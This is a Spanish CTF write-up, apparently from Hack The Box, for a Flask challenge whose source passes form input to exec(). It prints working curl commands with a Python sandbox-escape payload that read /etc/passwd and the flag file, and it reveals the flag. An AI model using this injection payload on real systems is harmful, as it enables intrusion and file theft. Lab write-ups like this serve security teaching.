baby interdimensional internet
3 minutos de lectura
Se nos proporciona esta página web:
Si miramos el código HTML de la página, veremos /debug
:
Y ahí tenemos el código fuente de la aplicación web:
from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps
app = Flask(__name__)
def calc(recipe):
global garage
garage = {}
try: exec(recipe, garage)
except: pass
def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
@wraps(func)
def federation(*args, **kwargs):
ingredient = ''.join(choice(lowercase) for _ in range(10))
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
if request.method == 'POST':
ingredient = request.form.get('ingredient', '')
recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
calc(recipe)
if garage.get(ingredient, ''):
return render_template('index.html', calculations=garage[ingredient])
return func(*args, **kwargs)
return federation
@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run('0.0.0.0', port=1337)
Si enviamos una petición POST a /
, podremos indicar ingredient
y measurements
para controlar la variable recipe
:
if request.method == 'POST':
ingredient = request.form.get('ingredient', '')
recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
calc(recipe)
if garage.get(ingredient, ''):
return render_template('index.html', calculations=garage[ingredient])
Y la función calc
nos permite ejecutar código Python mediante exec
:
def calc(recipe):
global garage
garage = {}
try: exec(recipe, garage)
except: pass
Y entonces conseguimos algo como:
$ python3 -q
>>> ingredient = 'asdf'
>>> measurements = 1337
>>> recipe = '%s = %s' % (ingredient, measurements)
>>>
>>> garage = {}
>>> exec(recipe, garage)
>>>
>>> garage[ingredient]
1337
La idea es reemplazar 1337
con el contenido de un archivo remoto. Para esto, podemos buscar en PayloadsAllTheThings:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
$ curl 167.99.202.193:30358 -d "ingredient=asdf&measurements=''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()"
<!DOCTYPE html>
<head>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta name='author' content='makelaris'>
<title>🌌 on Venzenulon 9</title>
<link rel='stylesheet' href='//stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css' integrity='sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T' crossorigin='anonymous'>
<link href='//fonts.googleapis.com/css?family=Comfortaa' rel='stylesheet' type='text/css'>
<style>html, body {background-image: url('//s-media-cache-ak0.pinimg.com/736x/7b/fe/d2/7bfed2ffe038beb673efd872cd44ba2c.jpg');} h1 {display: flex; justify-content: center; color: #6200ea; font-family: Comfortaa;}</style>
</head>
<body>
<img class='mx-auto d-block img-responsive' src='//media3.giphy.com/media/eO8zgwAt3MVW/giphy.gif'>
<h1 style='font-size: 140px; text-shadow: 2px 2px 0 #0C3447, 5px 5px 0 #6a1b9a, 10px 10px 0 #00131E;'>root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
</h1>
</body>
<!-- /debug -->
</html>
Y ahí tenemos el archivo /etc/passwd
. Vamos a leer el archivo flag
:
$ curl 167.99.202.193:30358 -d "ingredient=asdf&measurements='\\n'%2b''.__class__.__mro__[2].__subclasses__()[40]('flag').read()"
<!DOCTYPE html>
<head>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta name='author' content='makelaris'>
<title>🌌 on Venzenulon 9</title>
<link rel='stylesheet' href='//stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css' integrity='sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T' crossorigin='anonymous'>
<link href='//fonts.googleapis.com/css?family=Comfortaa' rel='stylesheet' type='text/css'>
<style>html, body {background-image: url('//s-media-cache-ak0.pinimg.com/736x/7b/fe/d2/7bfed2ffe038beb673efd872cd44ba2c.jpg');} h1 {display: flex; justify-content: center; color: #6200ea; font-family: Comfortaa;}</style>
</head>
<body>
<img class='mx-auto d-block img-responsive' src='//media3.giphy.com/media/eO8zgwAt3MVW/giphy.gif'>
<h1 style='font-size: 140px; text-shadow: 2px 2px 0 #0C3447, 5px 5px 0 #6a1b9a, 10px 10px 0 #00131E;'>
HTB{n3v3r_trust1ng_us3r_1nput_ag41n_1n_my_l1f3}</h1>
</body>
<!-- /debug -->
</html>
Otra manera de encontrar el archivo flag
es consiguiendo ejecución remota de comandos con otro payload.